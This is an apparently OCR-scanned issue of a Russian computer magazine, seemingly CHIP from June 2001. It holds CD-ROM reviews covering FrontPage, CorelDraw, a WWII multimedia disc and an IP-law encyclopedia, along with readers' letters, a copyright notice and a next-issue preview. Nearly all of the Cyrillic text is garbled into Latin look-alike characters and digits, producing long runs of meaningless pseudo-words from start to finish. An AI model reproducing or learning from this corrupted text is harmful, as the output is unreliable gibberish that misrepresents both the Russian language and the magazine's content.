HbiMM 6yKBaMM). K/iaccMHecKMM npMMep HeyAaHHoro 
pemeHM/i. A b Ae/iOM bto npeKpacHbm m Ha3MAaTe/ib- 
HbiM npMMep, KaK hm b KoeM c/iynae He HaAO Ae/iaTb 
o6ynaioiAMe ahckm. 


My^bTHMeAMMHbiM caMoynme/ib 
no Microsoft FrontPage 2000 


Pa3pa6oTHMK My/ibTMMeAMa TexHO/iorMM 
m AMCTaHAMOHHoe 06yneHMe 


CaiiT ► http://www.mmtech.ru 
UeHa $30 
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SUPPORT o 6 3 o p CD 


9 nacoB npaBM/ibHOM opueHTaunn 

PaSoTaeM c rpa<t>HKOM 


no MHeHmo mhotmx web- 
flM3aMHepoB CoreLDraw 
CHmaera jiyniuMM npo- 
(f)eccMOHa/ibHbiM rpacjDM- 
necKMM peflaKTopoM. OnpMa «Knpmui m Mec}x)AMM» b ce- 
pm KOMnbKJTepHbix o6yHaiOLAMx nporpaMM «llpaKTMHecKMe 
Kypcbi no MHcfjopMapMOHHbiM TexHO/iorMflM», BbinycTM/ia 
Kypc pj\n M3yHeHMfl CoreLDraw 9.0. HaHMHaioiAMM web-flM- 
3aMHep mjim npodo jnobme/ib nopaboTaTb c KapTMHKaMM 
Haynmcfl no/ib30BaTbCfl boraTbiM cneKTpoM npneMOB o6pa- 
6 otkm m peflaKTMpoBaHMfl rpacfDMHecKOM MH^opMapHM, 3a- 


/io>KeHHbiM b peflaKTope CoreLDraw 9.0, a Taione CMO>KeT ca- 
MocroflTe/ibHo co 3 flaBaib MHoropBeTHbm Ka^eHflapb m pjiA 
apKMx m KpacoHHbix Maiepna^OB. Taione b npopecce ocBoe- 
hma CoreLDraw 9.0 nojib 30 Baie/ib ocbomt npneMbi paboTbi m 
peflaKTMpoBaHi/ui c Mcno/ib 30 BaHMeM cnoeB, 3 aroTOBOK, 
wab/ioHOB, pBeTOBbix nepexoflOB m pa 3 /iMHHbixTpexMep- 
HblX SC^eKTOB, — B 06lMeM, BCeX B 03 M 0 >KH 0 CTeM, KOTOpbie 

coflepwm b ce 6 e stot rpacjoHHecKM m peflamop. 

Kan nmuyT co3AaTe/iM, Kypc opneHTnpoBaH Ha 9 na- 
COB pabOTbl 3a KOMnblOTepOM. HTO >K, 3TO 3ByHMT 3a- 
MaHHMBO — 3a Tanoe Hebo/ibiuoe kojimhcctbo BpeMeHM 


OCBOMTb OKOJIO 950 npaKTMHeCKMX 3aflaHMM, KOTOpbie 
pa3fle^eHbi Ha 15 pa3fle/iOB, rAe oneHb noApobHO pac- 
CMaipMBaiOTCfl boraibie bo 3 mo>khoctm m acJacjoeKTH b h bie 
npneMbi paboTbi c CoreLDraw 9.0. 


Pa6oTa c rpa<}>MKOM - llpaKTHHecKHM 
Kypc Corel Draw 9.0 


M3Aaie/ib «Knpn/i/i m Me4>OAMM» 
CaPiT www.km.ru 

UeHa $3 



n MCTO/ieT Ciaji m Ha 

BHpTyanbHasi aKCKypcim 


OrpoMHaji KO/uieKUMa 
(}DOTOMaTepMa^OB, BMAeo- 
XpOHMKM BOeHHbIX JieT, 
o6pa3pbi 6poHeiexHMKM, 
BKJ1 104351 CymeCTBOBaB- 
LDMM B AByX 3K3eMn^5ipaX 
CBepxrMraHTCKMM HeMep- 
KMM T3HK MaUS, M CaMOJieT TpM)KAbl TepO^ COBeTCKOrO Co- 
K)3a Ko>neAy6a. Tanwe mo>kho yBMAeTb cfDopMy m HarpaAbi 
boioioiamx dopoH, TpexMepHoe M3o6pa>KeHMe /iMHHoro 
nMcmneTa Cra/iMHa, HarpaAbi Mapwa/ia >KyKOBa m MHoroe 
Apyroe. BnepBbie c noMOiAbio Quick Time VR TexHO/iorMM 
npeAOdaB^eHa B03M0>KH0CTb coBepwMTb BMpTya/ibHyio 
SKcnypcmo Ha Aany Cra/iMHa b KyHpeBO. 

HaA co3A3HneM 3Toro Ancna paboTa/ia KOMaHAa, co- 
CTOJUAaji M3 6o/iee neM cia cnepMa/iMCTOB pa3Hbix ob/ia- 


deM. B Hee bxoam/im m BbicwMe BoeHHbie hmhw, m cJopoH- 
TOBbie cf30T0 - m KMHOonepaiopbi, m yneHbie, m mctopmkm, 
m cnepMa/iMcrbi My/ibTMMeAMa. ripn TanoM bo/ibiuoM o6"b- 
eMe Maiepna^a, HaBepHoe, HeM36e>KHbi HeAoneTbi m npo- 
MaxM. CaMbiM maBHbiM HeAoneTOM, Ha mom B 3r/i5iA, abaa- 
eTca paboTa My/ibTMMeAMMLAMKOB. Ohm He cmotjim b 
AOCT aTOHHOM cieneHM crpyKTypMpoBaTb MaTepMa/i m 
MHOTA a npOMCXOAJIT HaKJiaAKM. B 43CTHOCTM, HeCOOTBeT- 
CTBMe npOM3BOJlbHO BOCnpOM3BOAMMblX My3blKa/lbHblX 
OTpbiBKOB m naApoB kmhoxpohmkm. HanpMMep, Ha CJlOBa 
«yTpO KpaCMT He>KHblM CBeTOM...» MO)KHO yBMAeTb 3a- 
xBaneHHbiM m pa3bMTbm (JjaiuMCTaMM BoeHHbm ropoAOK 
HaiueM apMMM. Hto KacaeTca MAeo/iorMM, to HMKanoro 
OTKJlOHeHMfl OT yCTOJIBUJMXCJI TpaKTOBOK CObbITMM Ha 
AMcne He Hab^iOAaeTCJi. Oho m noHATHo, ec^M ynecTb, 
hto auck CAe/iaH no 3ana3y MMHMCTepcTBa 0bpa3OBaHM5i 


PQ. ApyoM Bonpoc — cyMe^M co3A3Te/iM stot 3ana3 
Bbino/iHMTb m/im HeT. Bo bc 5 ikom c^yHae, ceMHacy>Ke He- 
MHOrO CMeiUHO HMT3Tb Ha 0b/10>KKe KOpobKM /103yHTM TM- 
na: «CnyujaMTe — c BaMM roBopMT I/Ictopma!». lloAob- 
HblM nacf)OCOM npOHM33H Becb AMCK. 

I/I BCe-TaKM Hy>KHO AOCTaTOHHO BbICOKO OpeHMTb 
npoAe^aHHyio paboTy m obteM M/i/nocTpapMOHHoro Ma- 
Tepna^a, BMAeoMaTepMa/iOB m otpubkob M 3 AonyMeH- 
Ta^bHblX 4)M^bMOB. HeKOTOpbie M3 HMX npOCTO HMTAe 
bo^biue He h 3 mtm. 


Ot Kpeivuin ao peMxcTara 


M3flaTe/ib ► Pecny6/iMKaHCKMM MynbTMMeAMa peHTp 
CaPiT www.rnmc.ru 

UeHa 240 py6. 



no^b 3 a Ba>KHee KpacoTbi? 

MH<|>OpMai|Hfl 

Amck « 3HAMK^oneAM5i MHTe^^eKTya^bHoro npaBa», 
be3yc^OBHO, BeiAb no^e3Haji. K npMMepy, Bbi CMO>Ke- 
Te y3HaTb, nanne TpeboBaHMji npeA^B^flioTCfl k Aony- 
MeHTapMM, ec^M Bbi cobMpaeTecb 3aperMCTpMpoBaTb 
«nporpaMMy a/oi 3BM», nan HanncaHO Ha A^cne, na- 
KMe CymeCTByiOT BMAbl, CjDOpMbI, yC^OBMJI aBTOpCKMX 



B HMCTOM BHAe 

AOTOBOpOB. A B npM/10>KeHMM MO>KHO M 3 yHMTb 6b AO- 
KyMeHTOB, HaHMH 351 OT TeKCTOB 33 KOHOB 06 3 BT 0 p- 
ckom npaBe, nocTaHOB/ieHMM llpe 3 MAMyMa Bbicmero 
apbMTpa>KHoro cyAa PO, ao npaBM^ cocTaB^eHMji, no- 
A 3 HM M paCCMOTpeHMfl 335 IBKM Ha peTMCTpapMIO TO- 
BapHoro 3 Hana m 3 Hana o6cny>KMBaHMfl. Mo>kho npo- 
HMT 3 Tb CT 3 TbM Ha T 3 KMe TeMbl, KaK: «ripOM 3 BeAeHM 5 l 

AeKopaTMBHO-npMK/iaAHoro McnyccTBa (Ani/I)», «Am- 
33 m h», «My3biKa^bHoe m ayAMOBM3ya/ibHoe npoM3Be- 
AeHMJI», «CTpyKTypa (jDMpMeHHOrO H3MMeHOBaHM51», 
«Yro^OBHa5i OTBeTCTBeHHocTb 3a HapyiueHMe aBTop- 
ckmx npaB», «Abtop obteKTa m MHTe^^eKTya^bHaji 
C06CTBeHH0CTb», «llpOM3BeAeHM5l MCKyCCTB3», «CpeA- 
CTBa MHAMBMAya/iM3auMM ynacTHM kob rpa>KAaHCKoro 
o6opOTa M npOM3BOAMMOM MMM npOAyKUMM» M APy~ 
rne. B obiueM c^o>khoctm Ha Ancne coAep>KMTC5i 60- 
^ee 200 33 KOHob PO. 


Obo/lOHKa AUCKa He OT/lMHaeTC51 33TeM/lMBOCTblO 
M KpaCOHHOCTblO, ynop CAe/iaH Ha MH4)OpMaTMBHOCTb 
coAepwaHMA. HnaBHbiM anpaH npeACTaB^jieT co 6 om 
cnMcoK pa3Ae^OB Ha 6e>KeBOM cjDOHe. 3aTeM Bbi Ha- 
>km M aeTe Ha 3aro/iOBOK MHTepecyioiAeM Bac CTaTbM m 
n/iaBHO nepexoAMTe k npoHTeHMio stoto AonyMeHTa 
b Word. Hero npoiue. KcTaTM, m MHCTa/uiMpoBaTb 
Amck He HaAO. Ho Ha mom B 3mjiA, npocTOTa ocfDopM- 
neHMji AaHHoro A^cna Hpe3MepHa, m noneMy-TO y>K 
OHeHb XOHeTCfl, HTObbl (|DOpMa COOTBeTCTBOBa/ia co- 
Aep>naHMio. 


SHUKK/ioneAMfi MHTe/i/ieKTya/ibHoro npaea 


M3AaTe/ib «Pycco6MT-M» 
CaMT www.russobit-m.ru 

UeHa $2 


CHIP 


M K) H b 


2 0 0 1 









Inbox 


159 


y BawaeMbie MmaTe/iw! Mbi csmm He owMAa/iM, 
mo Mepea ABe HeAe/iM noc/ie BbixoAa nepBoro 
HOMepa Hamero wypHa/ia, no/iymiM cro/ibKO Ba- 
Luiix miceM. 

HaM HHTepeCHbl JIK) 6 bie MHeHMfl m otk/imkm, KaK 
nojiowme/ibHbie, Tax m OTpMuaTe/ibHbie, noTOMy 
mo TO/ibKO ohm noMoryT CAejiaTb >KypHa/i MHTe- 
pecHbiM m coAep>KaTe/ibHbiM. 

11 m in me HaM, Mbi o6fl3aTe/ibHo norrapaeMCfl OTBe- 
TMTb Ha Bee BauiM nncbMa. 

HaM 6 o/iee MHTepecHbie Bonpocbi m nowe/iaHMH Mbi 
6 yAeM ny 6 /iMKOBaTb Ha crpaHMijax Chip. 


>Ke/iaio BaM ycnexoe 

HeflaBHO npMo6pe/i Bam (Tenepb m Ham) «nepBbm» HOMep >xypHa/ia 
CHIP m 6bm npn^THO yAMB/ieH , xaxoii npexpacHbm, MHoron/iaHOBbiPi m 
eMKMki oh no/iyHM/icfl. ripM^THbiM MHTepcfieMC y CD m MHoro Hy>KHoro Ha- 
rney Ha HeM. >Ke/iaio BaM ycnexoB b Aa/ibHeMmeM pa6oie!!!!! 

P.S. B pa3fle/ie software noHpaBM/iacb 3aMeTKa o BedOS. 3axoie/i nonpo- 
6oBaTb ycraHOBMTb, ho KanaTb no ceTM TaxoM odteM??? Ec/im mo>kho 
ony6/iMxyMTe Ha CD k >xypHa/iy. 

C yBa>KeHMeM HMKo/ian npoKaeB (naB/ioAap Ka3axcTaH), avianeck@pvl.kz 
HUH? 1 Teepdo He o6eLU,aeM, ho b ruiaHbi 3anuLueM. » 

| Bbi — >nypHa/i ajih npoABMHyToro K)3Bepn 

3flpacie! 

Bot npoHMTa/i Bam >xypHa/i. lloHpaBM/iocb. 

Tfle-TO 2 rofla HMTaio «lloflBOflHyio /iOAxy». ho noc/ieflHee BpeMA ee Ma- 
Tepna/i nepecia/i HTepecoBaTb. lloxo>Ke Harney en 3aMeHy. Bbi >xypHa/i 
A/m npoflBMHyioro i03Bepa, xoTopbm y>xe hto-to 3HaeT m hto-to yMeeT, b 
ot/1 m h m e ot JloflKM m floMamHero KoMn, c oahom CTopoHbi m KoMnbioiep 
llpecc, c ApyroM. 

B c/ieAyioiAeM HOMepe Ao 6 aBbTe AMcrpM 6 yTMB /lMHyxca Ha Cfl m b onnca- 
hmm nporpaMM Ha A^cxe yxa 3 biBaMTe pa 3 Mep d^ama. + cMcreMHbie Tpe- 
6 oBaHMA (He y Bcex neHTioxM 3). >KAy c/ieAyx)LAero HOMepa. 

C yBa>xeHMeM, OrypuoB M/ibn (CaHKT-rieTepSypr), oilya@mnogo.ru 

eb i? Mbi co6upaeMCH Bbinycmumb Chip c deyMz CD. 

ASP Linux ycmpauBaem? » 

| rocnoAH, CTapbe to Kaxoe Bbi TyAa no/io>KMsiH... 

3ApacTByMTe xo/i/ierM, 

MHe c/iynaMHO nona/ica Bam m3mcxmm >xypHa/i c Cfl ahcxom (Tenepb k 
H aM ero 6yAyT AOcraB/mTb no noAnncxe) m ft cpa3y>xe o6paTM n bhmm3- 
HMe Ha to hto Ha xoMnax Ancxe oxa3a/iacb noA6opxa nporpaMM p,nn Ma- 
xa. HocnoAM CTapbe to xaxoe Bbi TyAa no/io>XM/iM, p,a eiAe m Heno/ie3Hoe 
Aa m HeHy>XHoe bo Bcex OTHomeHMax. Kohchho noHATHO hto no/ib30Ba- 
Te/ieM MaxoB Ma/io m Ha hmx HeT CMbicna pacHMTbiBaTb BameMy >xypHa/iy, 
Tax >xe xax m Ha x)hmxc-/ix)hmxc no/ib30BaTe/ieM (a/ia 3toto ecTb y3xo- 
cneAna/iM3npoBaHHbie m3A3hm^ — b ochobhom b MHTepHeT). Ho ft 6bi 
BaM Bee TaxM, ec/iM Bbi npoAO/uxMTe TpaAMLjMio Bbix/iaAbiBaTb cpan/ibi Ha 
Cfl, nocoBeTOBa/i B3flTb sxcnepTa no MaxMHTom m/im cxoonepMpoBaTbca c 
MHTepHeT M3A3HMeM no MaxaM HanpMMep www.macintosh.ru. 

A b ocTa/ibHOM >xypHa/i xopomMM m MHTepecHbm ;) 

MMxaMJi Ky/iemoB, powermic@mac.com 

y^mei w. » 


| HenpufiTHoe BnenaT/ieHiie — KO/umecTBo onenaTOK 

llpMBeT! 

Bnepa xynu^ Bam >xypHa^ - noHpaBM/icii. 

llpaBAa Becb ero eu^e He HMTa/i, ho ue/iMXOM npocMOTpe^ m npoHMTa/i 2 - 
3 CTaTbM, xoTopbie 6bmM MHTepecHbi. Bo6iAeM, no3ApaB^^x)! lloMoeMy 
MHeHMio, Bee npocTO 3 aopobo! EAMHCTBeHHoe HenpMiiTHoe BnenaT^eHMe 
— xo/iMHecTBO onenaTox. A oco6oe BocxMiAeHMe Bbi3biBaeT o6^o>xxa — 
MaXCMMa/lbHO MHC|DOpMaTMBHafl. 

Alex, sitek2@online.ru 

] B ero eiue He BMAe/i 

«. . .xBany u Knesemy npueM/iu paBHodyiUHO, 
u He ocnapueau enynu,a . . .» 

A.C.flyuuKUH 

no3ApaBjmx) cycnexoM. CyAfl no Bon^^M maxa^OB nepa, xoTopbie Ha- 
6n\op,an no Te^eBM3opy, >xypHa/i yAa/ic^ Ha c^aBy ( xoTb ft ero eiAe He 
BMAe/i ). 

C HaM/iynmMMM no>xe/iaHM^MM, 

Felix Sirotkin, fsirotkin@aktivist.ru 

Tan hto >ne Tanoe no BameMy KypoK??? 

YBa>xaeMbiM r^aBHbm peAaxTop, 

B mbmcxom HOMepe Ha 102 CTpaHMLje, b pa3Ae/ie onucaHM^ CD, noA 3aro- 
/iobxom l/lrpbi mo>xho npoHecTb c^eAyioiAMe CTpoxu: 

. . .ripuL^e/i BUHmoBKU ynpaB/inemoi Mbiuubio, neecm khouko — omo ny- 
poK, npaBdfi — nepe3apfidKa. . . 

TAK HTO >KE TAKOE no BALUEMY KYPOK??? A caMoe MHTepecHoe 3 to HTO 
nPOI/1301/lflET, EC/1 M HA)KATb HA KYPOK??? Bbi AYMaeTe, hto npoM30M- 
AeT BbiCTpe^? HET HET M EU4E PA3 HET! 

06paTMMC5i x C/10BAPK) 0>XMroBa: KYPOK — Hacmb ydapHoeo MexaHU3Ma 
b 02Hecmpe/ibH0M opymuu. Cnycmumb KypoK, B3Becmu KypoK . . . 

Kypox mo>xho mnbxo B3BecTM, a HTo6bi npoM3ome^ BbiCTpe^ Heo6xoAM- 
MO HA)KATb HA dlYCKOBOI/l KPK3H0K m h m xyAa 60/iee!!! 

OneHb CTpaHHO, hto b >xypHa^e TAKOTO ypoBH^i mo>xho BCTpeTMTb TAKYHD 
6e3rpaMOTHOCTb! 

Hndo, yando@mail.ru 

MM "HT J K co>K(uieHUK) Mbi He cmob/iu npoeepumb npaeu/ibHocmb Baiuux 

ymsepxideHuu, nocKonbKy He holu/iu cnosapb Omuzobo. Ho b i^e/iOM 
C02JiaCHbl.» 

^ OneHb xoneTcn yBMAeTb 3D Mark 2001 

Y MeHfl x BaM oneHb 6 o/ibmafl npocb 6 a. OneHb xoneTC^i yBMAeTb Ha Ba- 
meM Ancxe, xoTopbm MAeT c >xypHa^OM, 3 D Mark 2001 . ByAy paA, ec^M 
MOfl npocb 6 a Mcno/iHMTCii. 

C HaM/iynmMMM no>xe/iaHM^MM m HaAe>XAOM, 

PycTaM, savv@ts.kuban.ru 

VlcnojiHUJiacb, CMompume Chip CD. » 

|] MHe paHbiue poactb6hhhkh m3 Kneea bo3h/ih... 

Hy bot m poccM^He AO>XAa^MCb CHIPa! ! ! Knacc! ! ! 

MHe paHbiue poACTBeHHMXM, cneuMa^bHO M3 KneBa bo 3 m^m 3 tot >xypHa^. 
PaA, hto Tenepb mo>xho mx He TpeBO>XMTb. M ec^M mo>xho, to m Ma/ieHb- 
xoe 3aMenaHMe — xopomo 6bi OTMenaTb onMcaHMii nporpaMM, xoTopbie 
Ha ecTb Ha Kfl, xaxMM hm 6yAb 3HanxoM, HTo6bi 6bmo noH^THO, hto 3Ta 
nporpaMMa ecTb Ha npM^araeMOM A^cxe. 

CeprePi Kkic^Mua, kislitsa@skmost.ru 

flMCbivia HMTa/i AHApeM KoKoypoB, akokourov@ichip.ru 
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PeK/iaMa b HOMepe 



3a coAep>KaHMe peK/iaMHoro o 6 -bflB/ieHi/m OTBeTCTBeHHocTb HeceT 
peKflaMOAaieflb. 

3a opnruHaflbHocTb m coAepxoHne ciaibM OTBeTCTBeHHocTb HeceT aBTop. 
PyKonnci /1 peAaKUMeu He B03BpaiAaiOTCfl. B c/iynae npneMa pyKonncn 
k ny 6 flMKaAMM peAaKAi/m craBi/u 06 stom aBTopa b M3BecTH0db. Ilpi/i stom 
M 3Aaieflb noflynaeT 3KCKfli03MBHoe npaBO Ha pacnpocrpaHeHne 
npi/iHAToro npon3BeAeHnfl nepe3 >KypHa/i, BK/nonafl B03M0>KH0CTb 
ero ny 6 flMKauMM Ha WWW-crpaHMuax wypHa/ia, CD min mhwm o6pa30M b 
3/ieKTpOHHOM CjDOpMe. 

Abtopckmm roHopap Bbm/iaHnBaeTCfl pa30B0 b TeneHMe n^m HeAe/ib noc/ie 
nepBOM ny6flMKaAMM m b pa3Mepe, onpeAe/meMOM BHyipeHHMM cnpaBOHHMKOM 
TapMcjDOB. B AaHHbm roHopap bxoamt m B03Harpa>KAeHMe 3a B03MO>KHyio 
ny6flMKaAMio npon3BeA6HHfl b 3/ieKTpoHHon cfiopMe. no MdeneHMH 
OAHoro roAa c MOMeHTa nepBon ny6/inKaAnn aBTop MMeeT 
npaBO ony6flMKOBaTb CBoe npoi/i3BeAeHne b ApyroM Mecie 6e3 
npeABapme/ibHoro nncbMeHHoro comacMA M3Aaie/ifl. 

Bee npaBa Ha ony6/iMKOBaHHbie Maiepna/ibi 3aiAMiAeHbi. nepenenaTKa, 
Mcnoflb30BaHne n/in nepeBOA Ha Apyron 3 bi k, a TaK>Ke MHoe ncno/ib30BaHne 
npoM3BeAeHMM, paBHO KaK nx BK/iiOHeHMe b cociaB Apyroro npon3BeA6HMfl 
(c6opHMK, KaK nacTb Apyroro npon3BeAeHi/m, ncno/ib30BaHne 
b KaKon-/in6o cfiopMe b 3/ieKTpoHHOM ny6/inKaunn) 6e3 comacnfl v\3p,aTenn 
3anpeiAeHbi. 
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3ia crpamma yMbiuiJieHHO nyciaa 


UM h 


162 


AHOHC h m t a Pi t e b c/ieflyiomeM HOMepe 



B c^eflyiomeM HOMepe 


Chip 7/01 BbiiiAeT 11-ro kikwia 2001 rofla 



HoBbm cjjopMaT WM8 no3BO/iaeT «BMecTMTb» 100 
MMHyT BMfleo xopouiero KanecrBa b 370 M6airr. 
AyflMo, no yTBepjKfleHMK) Microsoft, 3anncbiBaeTcn 
c CD-KanecTBOM npn noTOKe 64 K6mt/c. Mbi 
npoTecrnpyeM WM8 n nocMOTpiiM, Tax jim sto? 


0OpMaT MP3 14 B03MO)KHOCTb 3ani4CI4 
Co6CTBeHHblX KOMnaKT-flMCKOB AdBHO y>xe 
no3BO/iaeT KOHKypupoBaTb nepcoHa/ibHOMy 
KOMnbiOTepy c ayAMOuempaMM. EflMHCTBeHHoe 
c;ia6oe MecTO KOMnbiOTepa — OTKpoBeHHO 
Hi43Koe KaMecTBO 3Byxa, M3B/ieKaeMoe M3 
CTaHflapTHbix KOMnbiOTepHbix ko/iohok. nopa 
BbiflCHiiTb, cymecTBytOT jim KOMnbiOTepHbie 
ayflMocucTeMbi, KOTopbie b coctoahmm 
cpaBHiiTbCfl no KanecTBy c npuBbiHHbiMM 
My3blKa/1bHblMI4 LjeHTpaMM 




nepBbie BneHaTAeHMfl ot Office XP 


Bo BTopoM HacTi/i MaTepna/ia «ripnpoAa ASP» Mbi 
npoAO/UKMM 3HaKOMCTBO c 3tom MHTepecHon web- 
TexHO/iornen. 

KaKneiunbi namiw npnMeHfliOTCfl ceroAHfl? Ka- 
kob npMHpun mx pa6oTbi m TexHMHecKne xapaxie- 
pMCTMKM? OTBeTbl Ha 3TM BOnpOCbl Mbi ASA^M 
b c/ieAyK)LAeM HOMepe. 

StarOffice AJifl Windows m Linux, KaK AOCTOMHaa 
a^biepHaTMBa Microsoft Office. 

Jabber jiyHwe, neM ICQ? 

Open-source cncreMa 3c|)ct)eKTMBH0 pa6oTaioLAafl 
b pa3/iMHHbix onepapMOHHbix cMcieMax. 

CaMbiMM nonyjiapHbiMM BMAeoycKopnTe/iflMn ab jia- 
K)TC5i n/iaTbi, co6paHHbie Ha ocHOBe GPU ot 
NVIDIA. OAHaKO CTa6n/ibHOCTb m CKopodb pa6o- 
Tbi b 6o/ibiiioM cieneHM 33BMC51T He TO/ibKO ot rpa- 
c()MHecKoro nnna, ho m ot c6opKM n/iaTbi, ycTaHOB- 
zieHHOM BMAeonaM5iTM, nacTOTbi HMna. B c/ieAyfo- 
LAeM HOMepe Mbi cpaBHMM caMbie nonynapHbie 
KapTbi /iMHeMKM GeForce/GeForce 2 ot pa3Hbix 
npoM3BOAMTejien. 
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